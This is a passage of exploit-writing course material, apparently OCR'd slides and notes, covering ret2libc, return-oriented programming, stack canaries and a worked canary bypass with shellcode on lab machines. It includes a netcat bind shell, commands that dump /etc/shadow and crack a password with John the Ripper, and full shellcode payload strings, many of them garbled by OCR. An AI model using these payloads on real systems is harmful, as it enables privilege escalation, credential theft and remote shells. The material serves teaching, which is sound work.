string. You could put in a call to another function here to chain function calls, as long as you supply
the cxpected arguments. Note that the system() function expects a pointer to our argument.
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Exercise: ret2libc (9)

e Checking the compromised host

deadlist@deadlist:~$ netstat -na |grep 8989

tep 0 0 0.0.0.0:8989 0.0.0.0:* LISTEN
deadlist@deadlist:~$ nc 127.0.6.1 8989

whoami

root

e What if you get the following?

Please enter the password: Access Denied!
sh: 1: onal: not fTound
S

egmentation fault

Advanced Penerration Testing, Exploit Writing, and Fehical Hacking

Fxercise: ret2libc (9)

To verify that our attack was successful, we must go and check to sce if TCP port 8989 is listening on
the system. Type in the command, “netstat —na |grep 8989 to sec if the desired port is listening. If so,
conncct to the port with the command, “nc 127.0.0.1 8989.” You may get a screen with no prompt.
This is common, so you should try typing in a simple command such as “Is” to sec if you get a
response. If so, type in the command “whoami’ to sec what user you are running as. It should say
“root” if your exploit was fully successful. If you were unable to conncect, try to go back through the
cxercisc to make sure everything was entered properly.

Onc issue you may commonly run into with ret2libe attacks is guessing the exact address of the
environment variable’s location. Remember that the environment variable you create is only good in
the shell under which it was created. 1f you have two tabs open, it will not be in the other tab unless
you created it there as well, and even then the addressing is likely to be different. The second image on
the slide shows us that we arc only executing part of the string at our environment variable’s location.
We sce sh. 1: onal: not found. Our environment variable was sct to run “nc.traditional.” Since we sce
part of “traditional,” wc can begin to count the number characters we missed in the string
ne.traditional 1 —p 8989 —e /bin/sh and count back accordingly. You may often need to fudge this
location.

149



Exercise: ret2libc — Your Turn!

e Your Goal

— Run a return-to-libc attack to print out and save
the /etc/shadow file

— Unshadow /et¢/passwd and /etc/shadow

— Use John the Ripper to crack the password for
uberadmin
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Exercise: ret2libc — Your Turn!

It is now your turn to attempt a ret2libe attack on the passlibc program. You alrcady have much of the
information nceded to run this attack, but it is good practice to perform all the steps, including
determining the buffer size, locating the return pointer, the address of the system() function, and
utilizing environment variables to get what you need.

There are no hints for this exercisc other than what is provided above and what we just covered on the
prior pages. The solution is available on the following pages; however, do not move ahcad to get the
answers, as we will quickly go over the solution as a group. Your goal is to run the same style of
ret2libe attack, this time printing out the “/etc/shadow™ password file and cracking the password of the
uscr “uberadmin.” You should be able to complete the attack using the “unshadow” tool and “John the
Ripper.” The syntax for the unshadow tool once you get /etc/shadow, is:

unshadow </etc/passwd file from compromised system> <shadow file you compromised> >
<destination file>

John <destination file name from unshadow command=>
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Exercise: ret2libc — Solution (1)

deadlist@deadlist:~$ export PW="cat /etc/shadow > shadow.txt“l
deadlist@deadlist:~$ ./env PW .
PW is located at Oxbffffdb5 | Export the environment

variable

deadlist@deadlist:~$ python -¢ ‘'print "A" *20 + "\x70\x11\x06\x41SANS\xab\
xfd\xff\xbf""' |./passlibc ; i
' Run the exploit

I've caught on to you pal!

Now the buffer's too small for your shellcode and it's non-executable!

What are you gonna do now???

Please enter the password: Access Denied!

Segmentation fault Check for shadow.txt
deadlist@deadlist:~$ 1s -la shadow.txt

-mw-rw-r-- 1 root root 1834 Jul 21 15:42 shadow.txt
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Exercise: ret2libc — Solution (1)

As with the last exercise, a common option to run a successful local exploit with a ret2libe style attack
is to create an environment variable with the desired command to be executed by the system()
function. The instruction for this cxercise was to gain a copy of the /cte/shadow file, which is normally
only readable by root. Exporting an environment variable to help with this exploit is probably the
casiest way. Use the command (or simply cat the shadow file to the screen):

export PW=""cat /etc/shadow > shadow.txt™

Next run the “env” program to print out the address of the PW environment variable you just created.
Oncce you obtain the address of the cnvironment variable, you can move forward with attempting to
run your exploit. Remember that the location of your environment variable will be different than the
one on the slide. You will also likely have to scarch through nearby memory to find the exact starting
location of your environment variable.

It’s now time to run the exploit against the “passlibc” program. As we learned during the last excrcise,
twenty A’'s must be typed in before hitting the start of the return pointer. The following is the proper
layout of the command-line attack:

python —c *print “A”*20 + “\x70\x 1 I'x06'x4 1SANS\xab\xfd\x ffixbf” |./passlibc
System() | Pad | Env Var

To determine if your attack was successful, you must check for the shadow.txt file in your

/home/deadlist directory using the command, “Is —la shadow.txt.”” As you can see on the slide, the
shadow.txt file has been created and is not of 0 size.
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Exercise: ret2libc — Solution (2)

e Check for shadow.txt

dead(ist@dead(ist:~$ cat shadow.txt | tail -n 3
saned:*:15453:0:99999:7:::

uberadmin: $6$pS8htbVUstpiPVBSxZkdsuvqOhMzKSADSUWEBN3 IvRxUb1DO1VNKC/QZkGUmpQ
YbQ9dcwGheMLwol TnWSBwEP . InwBvLZs0:15542:0:99999:7:::

e Unshadow /etc/passwd & shadow.txt
e Launch “John the Ripper”

deadlist@deadlist:~$% cat unshadow.txt | tail -n 1

uberadmin: $6$pS8htbVU$tpiPV8B5xZkdsuvgOhMzKSADSUwWEn3IvRxUb1DO1VnKC/QZkGUmpQ
DYbQ9dcwGbeMLwo L TnWSBw6P . InwBvLZs0:1001:1001:Bruce, 123,555-555-5555,555-55
5-1111:/home/uberadmin:/bin/bash

Exercise: ret2libe — Solution (2)

Verify that the shadow.txt file created in your /home/deadlist dircctory contains the desired contents.
Simply run “cat shadow.txt” and check to sce if you have captured the password hash of the
uberadmin account. Once you confirm the account, you must use the “unshadow™ tool to merge the
/etc/shadow file with the /ete/passwd file. To do so, use the command “unshadow /etc/passwd
shadow.txt >unshadow.txt.” You can then view thc unshadow.txt filc to make surc unshadow properly
created the file.
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Exercise: ret2libc — Solution (3)

e Launch “John the Ripper”

|[deadlist@deadlist:~$ john --format=crypt unshadow.txt|

deadlist@deadlist:~$ john unshadow.txt --show
deadlist:deadlist:1000:1000:Teh Deadlister,,,:/home/deadlist:/bin/bash
uberadmin:theking9:1001:1601:Bruce,123,555-555-5555,555-555-1111: /home/ube
radmin:/bin/bash

e Check to see if the password is cracked for
uberadmin

[estng, Exploit Writng, and 1t

Exercise: ret2libe — Solution (3)

Finally, launch “John the Ripper” against the unshadow.txt file to crack the account for
uberadmin. This can be done by simply typing “john —format=crypt unshadow.txt.” When
successful, you should get the password of “theking9” for the uberadmin account. This may take
a bit of time.
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Return Oriented Programming

e ROP is the successor to return-to-libc style attacks

— Hovav Shacham first coined the term Return Oriented-
Programming (ROP)
o http://cseweb.ucsd.edu/~hovav/dist/geometry.pdf
¢ ROP can be multi-staged or turing-complete
~ Injection of code may or may not be required
— Jump Oriented Programming (JOP) technique can

perform a similar goal through a gadget dispatcher to
avoid stack dependency and ESP advancement
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Return Oriented Programming (ROP)

ROP is an increasingly common attack technique used to exploit vulnerabilities on modern operating
systems. The primary benefit of the technique is that you do not have to rely on code injection and
execution in potentially non-cxccutable arcas of memory, as well as having the ability to defeat other
OS protections such as ASLR. By utilizing a scrics of instruction scquences, known as gadgets, onc
can compile a potentially turing-complete code exccution path with the same result as shellcode.
Return-to-libc is a simple concept. We create an environment variable, pass the pointer to the
environment variable as an argument to a desired function whose address we used to overwrite a return
pointer, and have our argument exccuted. There are certainly other uses of return-to-libe, but the
concept is generally the same. One issue with this technique is that local access is usually required to
have a successful exploit. This rules out most remote exploit attacks. ROP is not restricted to local
exploits as it uses executable code segments from common libraries loaded by a program. As long as
the addresses of the desired code sequences are at the same location on cach system being exploited,
the attack 1s successful. Systems using diffcrent versions of libraries may have different addressing,
although many have been identificd to be relatively static between versions.

Under different names, the idea of ROP has been around for quite a while; however, it was not until
Hovav Shacham’s rescarch that it was proven the technique could be turing-complete. Using a proper
sequence of instructions, which may or may not require returns, chunks of code which cxist in librarics
can be used to perform an author’s bidding. From a high level, turing-complete simply means that the
ROP technique can perform any function such as that of the x86 instruction set. ROP is often used in a
non-turing-complete fashion as well, to perform actions such as disabling security controls. In this
method, the first stage of the attack may use ROP to format stack arguments, next calling a desired
function to disable a sccurity control, and finally returning control to injected code in a newly
cxecutable arca of memory. The term return oricnted exploitation may also be used in place of return
oricnted programming when specifically talking about cxploitation.
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Gadgets (1)

e Gadgets are simply sequences of code residing in
executable memory, usually followed by a return
instruction

o Gadgets are strung together to achieve a goal

e The x86 instruction set is extremely dense and not
bound to set instruction lengths
- This means we can point to any position

— Like a giant run-on sentence where as long as EIP is
pointed to a valid location, the desired instruction will be
executed
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Gadgets (1)

The term gadget is used to describe sequences of instructions that perform a desired operation, usually
followed with a rcturn. The return will often lead to another gadget which performs another operation,
followed by a return. The gadgets arc strung together to achieve an ultimate goal. They can be turing-
complete and perform an cntirc objective, or can aid in performing actions such as disabling OS
controls prior to passing control to additional code.

The x86 instruction sct is extremely dense and is not bound to specific instruction sizes. Some
architccturcs may require that all instructions be 32-bits wide; however, this is not the casc with x86.
This means that we can potentially point into the middle of a valid instruction causing a different
instruction to be performed. The way compiled x86 code can be compared is to that of a large run-on
sentence with no punctuation or spaces. Take the word “contraption™ as an example. If we point to the
fourth letter in, we have the word “trap.”” Another cxample is the words “now-is-here.” The dashes
imply a serics of words with no spaces between them. If we take the last letter from “now.,” both letters
from “is,” and the first letter in “here,” we get the word “wish.”
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Gadgets (2)

whatistheaddressofthepartytonightbecausei
wanttomakesureidonotarrivebefo
realltheotherguests
e This is obviously a sentence with no punctuation or
spaces

— ... but there are opportunities to select other
“unintended” words depending on the position

— If we select them in the right order, and they are
followed by returns, we can build a new sentence

\dvanced Penerration Testing,
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Gadgets (2)

This slide demonstrates an analogy of building gadgets to that of a long English sentence with no
punctuation or spaccs.

whatisthcaddressofthepartytonightbecauseiwanttomakesurcidonotarrivebeforcallthcotherguests

The obvious sentence is, “What is the address of the party tonight because I want to make sure I do not
arrive before all the other guests.” If you remove the spacing, as in the example above, ignoring the
intended sentence, you can piece together lots of words. If we select these newly discovered words and
piece them together in the right order, we can build a new sentence.
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Gadgets (3)

whatistheaddressofthepartytonightbecausei
idonotarrivebefo
eotherguests

a 1)
o 2)
= 3)
)
— This example is contrived, but you get the point!

her art is real

\dvanced Penetration Testing, Lixploit Writing, and Lith

Gadgets (3)

On this slide is an cxample of stringing together unintended words to build a new sentence. Although a
contrived example, you can sce the high-level goal of building gadgets. Shown on the slide is just a
sampling of the unintended words that can be created by scanning through the long sentence. The
arrows running in order from 1 to 4 show the creation of the new sentence, “her art is real.”
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Gadgets, a Real Example ...

/CEBA16CC| 8B4S 28 MOU EAX,DWORD PTR SS:[EBP+28]
7C8016CF| 3BC3 | CMP EAX ,EBX

e 7¢8016cc holds the real, intended instruction

o What if we offset it one byte and point to

7¢8016¢d?

7C8016CD | 45 INC EBP
7C8016CE| 203B [AND BYTE PTR DS:[EBX],.BH
/C8816DB| C3 |RETN

Just one byte off and completely different
instructions followed by a return!

This is how gadgets are built ...
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Gadgets, a Real Example ...

Time for a morc realistic example. The top image on the slide was taken from kernel32.dll on a
Windows system. The intended instruction is:

7C8016CC 8B45 20 MOV EAX,DWORD PTR SS:[EBP+20]
7C8016CF 3BC3 CMP EAX.EBX

This simply moves a pointer located at EBP+20 into EAX. What happens if we point one byte into the
intended instruction at 0x7¢8016¢cc? The result, shown in the bottom image on the slide is:

7C8016CD 45 INC EBP
7C8016CE 203B AND BYTE PTR DS:[EBX],BH
7C8016D0 C3 RETN

Duc to the fact that the x86 instruction sct does not require instructions to be of a specific size, we can
form new, unintended instructions by pointing to any desired location. The modified instruction now
increments the EBP register by one byte, performs the logical operator “and” on a byte located at a
pointer inside of EBX and the BH register (bx high byte), followed by a return. This is how gadgets
arc built. The rceturn instruction “C3” located at 0x7¢8016d0 was not supposed to represent a return;
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however, by modifying the address as shown we can use it as such and return to another gadget.
Imagine if gadgets were strung together to perform the same operation as the system() function. We
would never actually call the system() function as we have with our return-to-libe attack; rather, we

string together gadgets from any exccutable library or other code segment, performing the same
operations as the system function.
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ROP without Returns

e Havav Shacham and Stephen Checkoway released
a paper on ROP without returns
— http://cseweb.ucsd.edu/~hovav/dist/noret.pdf

— The idea is to get around some protections that may
search through code looking for instruction streams with
frequent returns

— Another defense attempts to look for violations of the
LIFO nature of the stack
e Using pop instructions and jmp *(reg)’s can achieve
the same goal as returns
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ROP without Returns

Rescarch, code auditing, and compiler check controls are starting to look at techniques to prevent ROP
from being successful. This is most commonly performed by searching through sequences of code for
a large number of returns within a predefined arca. If this is detected, various techniques can be used
to reorder or modify the code to avoid the potentially dangerous opcode values. Another technique
looks at the Last-In-First-Out (LIFO) nature of the stack segment. ROP requires that you can write all
of your pointers and padding to writable memory, where the pointers hold sequences of code followed
by returns. The positioning of the ROP pointers on the stack may look strange to a detection tool.

Havav Shacham and Stephen Checkoway released a paper on ROP without returns, located at
http://cseweb.ucsd.edu/~hovav/dist/noret.pdf at the time of this writing. The technique looks at
alternative methods of jumping to code without the use of returns. One method is to pop a value from
the stack into a register, and then usc an instruction to jump to the pointer located in the register
holding the popped value. Though the desired code sequence to perform this is less common than the
return instruction, it clearly demonstrates that existing controls to prevent ROP are not sufficient.
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Advanced Stack Smashing

SANS SEC660.4

\Advanced Penerration |I'\liTl_'?:. | ,"'.]‘I::II "\.\'.:i-.-.ill", and

Smashing the Stack

In this module we will introduce more difficult controls to bypass or defeat such as stack canarics and
Address Space Layout Randomization (ASLR) on the modern Linux Kernel. As we move into these
more advanced concepts, you must remember that many modern exploitation techniques are successful
when thinking outside of the box and being persistent. They arc also very conditional.
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Objectives

e Our objective for this module is to
understand:

— Defeating Stack Canaries

— Address Space Layout Randomization (ASLR)
— Defeating ASLR on Kernel 2.6.17

— Defeating ASLR on Kernel 2.6.22 and later

Objectives

We will start this module off by taking a look at stack canaries on Linux and how it affects your
cxploitation attempts. We will then jump into some methods on how to defeat canaries when possible.
Next, we will take a look at one of the biggest thorns in an attacker’s side from a sccurity perspective,
Address Space Layout Randomization (ASLR). We’ll start off by exploiting the Linux 2.6.17 Kernel,
and then move onto a method to exploit the Linux 2.6.22 Kernel and later.
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Linux Stack Protection (1)

e What is Stack Protection?
— 4-byte value placed on the stack

— Protects the Return Pointer (RP), Saved Frame
Pointer (SFP) and other stack variables

e Canaries and Security Cookies

— Linux uses the term canaries and Windows uses
security cookies
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Linux Stack Protection (1)

To curb the large number of stack-based attacks, scveral corrective controls have been put into place
over the years. We covered a couple of them, such as configuring the stack to be non-cxecutable. One
of the big controls added is Stack Protection. From a high level, the idea behind stack protection is to
placc a 4-byte valuc onto the stack after the buffer and before the return pointer. On UNIX-based
OSs this value is often called a “Canary,” and on Windows-based OSs it is often called a “Sceurity
Cookic.” If the value is not the same upon function complction as when it was pushed onto the stack,
a function is called to terminate the process. As you know, you must overwrite all values up to the
return pointer in order to successfully redirect program execution. By the time you get to the return
pointer, you will have alrecady overwritten the 4-byte stack protection value pushed onto the stack,
thus resulting in program termination.
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Linux Stack Protection (2)

e Common Types of Stack Protection
— Stack Smashing Protector (SSP)

e Formerly known as ProPaolice
¢ Integrated with GCC on many platforms
e Supports different types of Canaries

— StackGuard

e Integrated with older versions of GCC
e Jses a Terminator Canary
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Linux Stack Protection (2)

There are quite a few stack protection tools available with different operating systems and vendor
products. Two of the most common Linux-based stack protcction tools are Stack-Smashing Protector
(SSP) and StackGuard.

Stack-Smashing Protector (SSP)

SSP, formerly known as ProPolice is an extension to the GNU C Compiler (GCC) available as a patch
in gee 2.95.3 and later, and available by default in later versions of gec. It is based on the StackGuard
protector and is maintained by Hiroaki Etoh of IBM. Aside from placing a random canary on the stack
to protect the return pointer and the saved frame pointer, SSP also reorders local variables protecting
them from common attacks. If the “urandom” strong number generator cannot be used for onc reason
or another, the canary reverts back to using a Terminator Canary.

StackGuard

StackGuard was created by Dr. Crispen Cowan and uses a Terminator Canary to protect the return
pointer on the stack. It was included with carlicr versions of gec and has since been replaced by SSP.
You can read more about Dr. Cowan at http://immunix.org.
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Linux Stack Protection (3)

e Types of Canaries:

— Terminator Canary
* 0x00000aff & 0x000aff0d

— Random Canary

Buffer

Canary

» Random 4-byte value

protected in memory. SFP
e HP-UX's /dev/urandom RP
e Hash of Return Pointer OxFFAOQ002B
—Null{anary Variables

« 0x00000000
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Linux Stack Protection (3)

There are several types of canarics that can be used with stack protection tools.

Terminator Canary

The idea behind a Terminator Canary is to cause string operations to terminate when trying to
overwrite the buffer and return pointer. A commonly seen Terminator Canary uses the values
0x00000aff. When a function such as strepy() is used to overrun the buffer and a Terminator Canary is
present using the value 0x00000aff, strepy() will fail to recreate the canary duc to the null terminator
value of 0x00. Similar to strepy(), gets() will stop reading and copying data once it sces the value
0x0a. StackGuard used the Terminator Canary valuc 0x000affOd.

Random Canary

Perhaps a preferred method over the Terminator Canary is the Random Canary. A Random Canary is a
randomly generated, unique 4-byte value placed onto the stack, protecting the return pointer and other
variables. Random Canaries are commonly generated by the HP-UX Strong Random Number
Generator ‘urandom” and arc ncar impossible to predict. The value is generated and stored in an
unmapped area in memory, making it very difficult to locate. Upon function completion, the stored
value is XOR'ed with the value residing on the stack to ensure the result of the XOR operation is equal
to 0.

Null Canary

Probably the weakest type of canary is the Null Canary. As the name suggests, the canary is a 4-bytc
value containing all Os. If the 4-byte valuc is not cqual to 0 upon function complction, the program is
terminated.
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Defeating Stack Protection (1)

Let us turn this up a notch!

Bypassing a Terminator Canary on Ubuntu
Normally seems to default to \x00000aff
Some programs have custom canaries

This can often be hacked!
— Overwriting SFP
— Multiple writes with strcpy() or gets()
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Defeating Stack Protection (1)

For our next exercise we will use a method that allows us to repair the Terminator Canary uscd by SSP
on Kubuntu Gutsy Gibbon. You will notice over time that under certain conditions, controls put in
place to protect arcas of memory can often be bypassed or defeated.

Some programs come with canary protection built into the code by the developer. This author has seen
custom canarics on many embedded systems and their generation is often casily defeated. Much of the
sccurity comes from how the canary is actually generated.

For cxample, some stack protection methods protect the return pointer but do not protect the Saved
Frame Pointer. Normally, SFP is used to restore EBP once a function is completed. Remember that
local variables arc accessed by referencing EBP. If we overwrite SFP in the current vulnerable
function with a valid address on the stack that we control, followed by the Terminator Canary,
followed by our shellcode, we can possibly hook the flow of exccution once the subsequent function
gocs to return.
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Defeating Stack Protection (2)

e Bypassing Stack Protection Demo
— The “canary” program

— Located in your /home/deadlist/ directory on
your Kubuntu Gutsy image

— Requires three arguments to fully rebuild the
canary

— Uses strcpy() to copy user-supplied data into
three buffers

— As with any modern attack vector, requires
conditions to be satisfied
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Defeating Stack Protection (2)

We will now walk-through an exercise to beat SSP on Kubuntu Gutsy Gibbon. The “canary” program
is located in your “/home/dcadlist/” directory and requires three arguments to run. The program uscs
the strepy() function to copy the user supplied arguments into three buffers allocated under a called
function named testfunc(). The goal is to repair the Terminator Canary used and exccute our shellcode.
Notc that this exploit requires there to be multiple vulnerable buffers within the same function. This is
a type of attack requiring certain conditions, but not a condition that hasn’t been repeated over and
over again.

Feel free to work through this exercise on your own time to repeat what has been demonstrated in
class. The code to exploit this vulnerability is provided to you over the following pages.
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Defeating Stack Protection (3)

e Try launching the canary program

deadlist@deadlist -desktop:~$ ./canary

Usage: <username> <password> <pins>

deadlist@deadlist -desktop:~$% ./canary admin password 1111
Authentication Failed

deadlist@deadlist -desktop:~% ./canary AAAAAAAAAAAAAAAA BBBB CCCC
Authentication Failed

¥+¥| stack smashing detected|*#*: ./camary terminated
Aborted (core dumped)

¢ Stack Smashing Detected

\dvanced Penctration Testing, Exploit Writing, and Iithical Hacking

Defeating Stack Protection (3)

In the image on the slide, we first launch the “canary” program with no arguments. We sce it requires
that we enter in a uscrname, password, and pin. On the second execution of “canary” we give it the
credentials of username: admin, password: password and pin: 1111. We get the response that
authentication has failed, as we expected.

Finally, we try entering in the uscrname: AAAAAAAAAAAAAAAA, the password: BBBB and the
pin: CCCC. The responsc we get is:

Authentication Failed

“**% stack smashing detected ***: /canary terminated
Aborted (core dumped)

This is much different than the response we saw in the past when overrunning the buffer. You can
quickly infer that this is the message provided on a program compiled with SSP for stack protection.
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Defeating Stack Protection (4)

o Let us see what we're up against

(gdb) break *0xB04B848d

Freakpoint 1 at 0xB24B4Bd

(gdb) run AAAAAAAA BBBBBBBB CCCCCCCC

Starting program: /home/deadlist/canary AAAAAAAA BBBBBBBE CCCCCCCC

Preakpoint 1, Ox0B8048B48Bd in testfunc ()
(gdb) x/20x jesp

Oxbf 20 ; Qubfffeafc Oxbffffaa7 Oxf63ddeze Gxbffffod7
Dxbf ff 0: Oxbffff93e Bxbffffo35 Gx00000000 Oxd3434343
OxbffFf700: 0243434343 Ox 42424200 OwA24247247 Ox414141608
xbf fFf710: Ox41414141 Bxf tEabuuy Gubffff738 OxBBR48517
Oxbf ff£720: Oxbfffiozs Oxbffffa3e AxbfffF£O47 OxbfffE750

e Set a breakpoint and find the canary
O0xff0a0000
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Defeating Stack Protection (4)

Now that we know SSP is enabled, we must take a look in memory to sce what type of canary we’re
up against. By running GDB and setting a breakpoint after the last of three strcpy() calls in the
testfunc() function, we can attempt to locate the canary. By probing memory you can easily determine
that cach of the three buffers created in the testfunc() function allocate 8-bytes. Try entering in
“AAAAAAAA” for the first argument, “BBBBBBBB” or the seccond argument, and “CCCCCCCC”
for the third argument. Now cnter the command “x/20x Sesp™ after the breakpoint is rcached and
locate the values you entered. Immediately following the “A’s” in memory you will find the terminator
canary value of 0xffa00000. Remember this is in little cndian format and the value is actually
0x00000aff. You should also be able to quickly identify the return address value 4-bytes after the
canary showing the address of 0x08048517. Remember, the goal of a terminator canary is to terminate
string operations such as strcpy() and gets().
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Defeating Stack Protection (5)

{gdb) run "AARAAAA 'eCho -& ' \x00\XOO\xOa\x!TAAAAAAARRA " BOBOBBBE CLCLLLLC

The program being debugged has been started already.

Start it from the begimning? (y or n) y

Starting program: /home/deadlist/canary "AAAAAAA “echo -e& '\x00\x00\xOa\xffilAAL

AAAAA" " " BEBEBEBBBE

_“Broken Canary - 0x4141ff0a

Breakpoint 1, Ox0804848d in tesLiunc
{adb) x/28x %esp

Fixbfff 6O fxbfffface Oxbf 932 DxfH3ddeze Oxbffffa32
Bxbffffoch: axbffffa2a Oxbf] 914 BxE0000000 Gx43434343
Axbffffodd; Ox43434343 x4z 200 Bx42424242 Bx41414160

0D ffff5ed: Bx20414141 EBx41417 704 0x41414141 Ex31414747)
Pabffffofo: Bxbfff oo Oxbffffa29 AxbTfFfo32 axbf 720
{gdb) o

Continuing. | i =
JAuthentication Falled | Returﬂ POinter

*4+ [stack smashing detected ***: /home/deadlist/canary terminated

Program received signal SIGABRT, Aborted.
Bxffffedld in kernel vsyscall ()
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Defeating Stack Protection (5)

Let us quickly sce if we can repair the canary by entering it in on the first buffer and attempt to
overwrite the return pointer with A’s. Try using the command:

run “AAAAAAA “ccho —e “x00\x00'x0a\xfTAAAAAAAAAA™” BBBBBBBB CCCCCCCC

As you can see, with the above command we are filling the first buffer with A’s, trying to repair the
canary and then place enough A’s to overwrite the return pointer. When issuing this command and
analyzing memory at the breakpoint, you can see that the canary shows as 0x4141ff0a and the return
pointer shows as 0x41414141. When letting the program continue, it fails, as the canary does not
match the expected 0x00000aff. Notice the message at the bottom, “*** stack smashing detected
*#% [etting us know again that SSP is cnabled and caught our attack. The strepy() function skips
writing the \x00’s as opposed to simply terminating. Remember that the strepy() function terminates
itsclf with a null byte. We also need to push the “\xffix0a" bytes over two more positions to line it up
properly. With this knowledge, let us continue the attempt to defeat the canary.
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Defeating Stack Protection (6)

{gdb) run "AAAAAAA "echo -e 'AA\xBa\xTfAAAAAAAA' " * "BBBEBBEBEBBBEB B56BE" " DODODDOD
E)Dl DDDDDDDDT JF'F‘D":

ogram being debugged has been started already.

it from the beginning? (y or n) y

Starting program: /home/deadlis st/canary “AAAAAAA “echo -e 'AA\xBa\xfTAAAAAAAA' i
"BBBEBBEEBEBEBLEER" "LODOODET T

Repalred Canary - 0xff020000 |

Breakpoint 1, 9x080484Bd in teeeres

(gdb} x/20x $esp

Oxbffffea0: Gxb T fffobe Gxbf [fG22 Oxf63d4eze Bxbffffo22
OxbffffEp0: Gxbf 1o Ox Bfb [calolololetalelo} Ex44444444
Oxbffff6co: Oxd4444444 GxA4HA4444 @x44444444 OxA44444444
Oxbffffode: Ox44444444 {Ox fTOan0eE Bx41414141 bx41414141
Oxbffffbed: axbfffrE08 Gxbf TG0 Bxpffffo22 Oxbf N 10
{gdb) ¢ I

continuing. o Segmentation Fault!! Return Pointer

rogram received SJ.gn_T STGSEGY, Seamentation fault.]
Ox41414141 in 27 ()
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Defeating Stack Protection (6)

This time let us take advantage of all three buffers and the fact that the strepy() function will allow us
to writc onc null byte. Try entering in the command:

run “AAAAAAA ‘ccho —¢ ‘AA\x0a\xfTAAAAAAAA’” “BBBBBBBBBBBBBBBBB”
“DDDDDDDDDDDDDDDDDDDDDDDD”

As you can sce on the slide, we've successfully repaired the canary and overwritten the return pointer
with a scries of A’s. When we continue program execution, we do not get a stack smashing detected
message, we instead get a normal segmentation fault message showing EIP attempted to access
memory at 0x41414141. We are simply using the first argument’s write of our A’s to fill the buffer,
then placing “AA'\xOa\xff” into the canary ficld to partially repair it, followed by cight A’s to
overwrite SFP and the RP. Note that by putting in the “AA” as opposed to “x00\x00”, we move the
“xffix0a” values to the correct position.

The second argument is being used to write the eight B’s to fill the sccond buffer, followed by eight
B’s to overwrite the first argument’s buffer, followed by onc additional B to overwrite onc byte in the
canary, which will in turn null terminate with a \x00 in an appropriate canary position. Finally, our
third argument will write 24 D’s to fill all threc argument’s buffers, which will in turn null terminate
on the canary, completing the repair. If you want to sce this in more detail, sct up breakpoints after
each call to strepy().
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] (90D) x/16x $esp

exbffffofo: Bxbffff7lc Oxbff .4 3d4e2e Oxbffffose
oxbfFf§700: Oxbff£ 1956 oxbff{ 15 Write jeeooos 09x00600000
exbffff710: 0x 0x oo wxot £ f92b 0x41414141
oxbffff720: 0x20414141 oxffoad14l 8x41414141 0x41414141
(adb) ¢ I'

The red arrows shows which portion of

the canary is being repaired during each

5 7 o unc ()

write. Green arrows are already repaired.
OxbFFFf6fo: axbffff714 oxbf| 274 Write bdaeze oxbffffo68
Bxbffff7e0: Oxbffffa56 BxbfFrrowr oxoro0 00600 2x06000000
oxbffff710; x00000000 0x42424242 0x42424242 0x42424242
oxbffff720: 0x42424242 oxffoa0042 0x41414141 ox41414141
{gdb) ¢ z
Continuing. Null Terminator
|Breakpoint 7, 8x0884848d in testfunc ()
(gdb) x/16x $esp -
OxbfFEf6F0:  Oxbffff7ac oxbff| 34 Write basee oxbff {1968
oxbffffree: Gxbffffase Oxbf Y1941 BYOene000 fx43434343
oxbffff710: 0x43434343 B#x43434343 6143434343 Bxd3434343
oxbffff72e: 0x43434343 0xffoa0eno 0x41414141 0x41414141
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Defeating Stack Protection (7)

This slide shows the state of the canary after each call to strepy(). Remember that bytes are written
from right to left within cach DWORD. During the first write, the “\xff\x0a” is being repaired, and we
continuc to write eight more A’s to overwrite the return pointer. The second write is first filling up the
cight bytcs within its own buffer. The second write continues to overwrite the data written during the
first strepy() call and as you can sce, the 0x41414141°s have been overwritten by 0x42424242. The
sccond write finishes by writing onc byte into the canary with “\x41.” The null terminator is appearing
as strepy() terminates itself with a “\x00” repairing an additional byte of the canary. The third writc
performs the same objective as the second write. It first fills up its 8-byte buffer, and then continues to
overwrite buffer two (second call to strepy) and finally buffer one (first call to strepy). This final write
during the third call to strepy() is producing the final “\x00” into the appropriate canary position due to
strepy()’s null termination. In this slide example C’s were being used as the third argument as opposed
to D’s.
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Defeating Stack Protection (8)

e Let us try to execute some shellcode

(gdb) run "AAAAAAA "echo -e "\x4Z\x43\xBa\xTfTAAAA\xOO\xTH\XTT\xbT\x00\ x00\ x00\ x5
O\ x990\ x99\ x90\ x 90\ x29\ xc I\ xB3\ xeO\ x F4\ xd9\ xee\ xdI\ x 74\ x24\ x f4\ x5b\ xB1\ x73\x13\ x3
5\ xb@\ xbB\ xc4\ x83\ xeb\ xfc\ xe2\ x4\ x5\ xbb\ xe®\ x5d\ x67\ xdb\ xdb\ xe9\ x56\x39\ x5\ xa
cAxla\xc3\xd\xc 4\ x5d\ x9f\ xda\ xad\ x5b\ x39\ x50\ x96\ xdd\ xbc\xbB\ xc4\ x35\xd1\ xc8\xb
BN\ x18\xd7\ xdd\ xbB\ x15\ xdd\ xd7\ xab\ x35\ xe7\ xeb\ x4d\ xdd4\ x7d\x3B\xc4"' " " "BBBEBBBEBE
BEBBBEB" "DDDLODDLOLODDODODDDDDDDD”

Authentication Failed

e Success ----> ¢ 3

... 'Have you mooed today?". ..

Frogram exited normally.
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Defeating Stack Protection (8)

Since we now know that we can repair the canary, let us see if we can execute some shellcode. We
will place our shellcode after the return pointer, since there is not enough space within the buffer. In
order to do this, we must locate our shellcode within memory and add in the proper return address that
simply jumps down the stack immediately after the return pointer. Eight NOPs have been added to
make it slightly casicr to successfully exploit the program. Below is the script to run within GDB to
successfully execute our shellcode. Using the methods previously covered, see if you can determine
the rcasoning for the layout of the command below:

run "AAAAAAA ‘ccho -¢

"x42\x43\x0a'\x fTAA AA\X90\x f6\x f\xb\x 90\1x901x90'x 90'x90'x 90'x 90\ x 90\x 29'x 9\ x 8 3'\x 9\ x f4\x A9\
xee'xd9\x74\x24\x 4\ x 5b\x 8 1'\x 73'x 1 3\x35\xb0\xb8'\xc4\x 83 \xeb\x fe\xe2 \x f4\x 5 fixbb\xc0\x 5d'\x 6 7'xd
6\xd0\xe9\x56\x39\x Sfixac\x la\xc3\xd0\xc4'\x Sd\x9f\xda'\xad\x 5b\x 39'x 5b\x96\xdd\xbc'\xb8\x c4\x 35\x
d'xc8\xb0'x 18'\xd7\xdd\xb0'x I 5\xdd'xd7\xab\x35'xc7\xeb'\x4d\xd4'\x 7d\x 38'\xc4""
"BBBBBBBBBBBBBBBBB" "DDDDDDDDDDDDDDDDDDDDDDDD"

As you can sce on the slide, our shellcode was successfully executed, giving us a Debian Easter Egg
that shows an ASCII cow and the phrase, “Have you mooed today?”* At this point, we have walked
through an cxample of defeating a stack canary.
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Real-life Example

e ProFTPD 1.3.0
— Stack Overflow Discovered
— Terminator canary is repaired
— ASLR is defeated
— Local and remote exploit versions released
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Real-life Example

